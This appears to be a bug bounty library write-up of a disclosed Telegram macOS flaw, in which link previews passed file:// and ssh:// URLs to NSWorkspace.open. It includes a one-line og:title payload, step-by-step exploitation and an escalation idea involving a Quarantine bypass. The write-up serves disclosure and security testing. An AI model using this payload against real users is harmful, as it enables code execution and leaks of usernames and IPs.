# Telegram (v4.9.155353) was rendering file:// links + opening them via NSWorkspace.open -> code execution.

Telegram macOS rendered file:// and ssh:// links from website previews and opened them via NSWorkspace.open, enabling arbitrary executable launch and info disclosure.

- Payout: unconfirmed
- Severity: high
- Program: Telegram
- Credited: Vladimir Metnew
- Disclosed: 2019-12-08
- Write-up quality: 6/10
- Original: https://github.com/Metnew/telegram-links-nsworkspace-open
- Library page: https://bugbountylibrary.com/r/blog%3Agithub-com-metnew-telegram-links-nsworkspace-open
- Tags: domain:desktop impact:data-leak impact:rce kind:bounty platform:blog sev:high tech:email technique:chained vuln:info-disclosure vuln:rce

**Target:** macOS Telegram desktop client link preview / NSWorkspace.open
**Root cause:** URL parsing in link previews accepted file:// and arbitrary URI schemes, and clicking them passed the URL to NSWorkspace.open without scheme restriction.
**Steps:**
1. Host exploit.html with `<meta property="og:title" content="file://google.com/bin/sh ssh://google.com/x" />`
2. Send the link in Telegram so the preview renders file://google.com/bin/sh and ssh://google.com/x as clickable links
3. Click the file:// link -> NSWorkspace.open launches the executable -> code execution
4. Click the ssh:// link -> Terminal.app opens an ssh session leaking OS username and IP
**How found:** Observed that link previews rendered arbitrary URI schemes as clickable links and that clicking delegated to NSWorkspace.open, which honors file:// and app schemes.
**Exploitation:** Attacker sends a crafted link whose OG preview contains file:// and ssh:// URLs; victim clicks the rendered links, causing NSWorkspace.open to launch an executable or open Terminal with an ssh session.
**Escalation:** Chain with a Quarantine bypass to open downloaded quarantine-ignored files and run attacker-supplied executables.
**Insight:** Link-preview metadata is attacker-controlled input; test whether preview renderers pass arbitrary schemes (file://, ssh://, custom app schemes) to OS open handlers rather than restricting to http(s).